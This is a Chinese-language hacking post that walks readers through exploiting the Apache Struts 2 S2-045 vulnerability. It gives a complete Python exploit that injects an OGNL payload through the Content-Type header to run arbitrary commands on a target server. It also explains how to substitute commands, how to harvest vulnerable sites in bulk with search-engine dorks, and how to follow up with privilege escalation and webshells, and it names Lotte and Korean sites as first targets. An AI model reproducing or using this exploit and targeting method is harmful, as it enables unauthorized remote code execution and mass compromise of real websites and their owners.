如何利用 Struts 2 S2-045搞站

hello 大家好,我是大老李 ,刚爆出的漏洞相信大家都在搞,工具啥的也都出来了, 有些人不会用,老夫也是研究了一会才会用了  。流传出的exp脚本是py的我用kali搞的 以下是代码

#! /usr/bin/env python
# encoding:utf-8
import urllib2
import sys
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers

def poc():
register_openers()
datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})
header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
    header["Content-Type"]="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm)(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ifconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
    request = urllib2.Request(str(sys.argv[1]),datagen,headers=header)
response = urllib2.urlopen(request)
print response.read()

poc()

在kali 里面执行命令是这样的  root@lunge:~/桌面# python st2-045.py url    下附截图

解释一下 我们把上面的代码粘贴到一个77169.py里面  然后仍到桌面   cd 桌面  进入桌面  然后输入  python 77169.py 运行本脚本  后面跟上url  直接运行肯定是不行的,我们还要在桌面上 tmp.txt 空的txt文件就可以了     然后代码有段这个(#cmd='ifconfig')把ifconfig  可以 替换成自己想要的命令   py的exp说完了  我们又自己做了个图形化的 简单方便 贼拉拉的爽下附截图


呜哈哈  没后门哈搞站过程 很简单  可以批量搞,代码如下inurl:.action intitle:xxx直接百度采集一波 你懂得  然后挨个怼吧   各种提权  各种上马    不过出现这种漏洞  第一个要测的还是乐天,韩国啥的

然并卵 这不就搞定了吗  还等什么呢  拿上exp 挂好vpn 向着root权限冲吧!


评论
热度 ( 2 )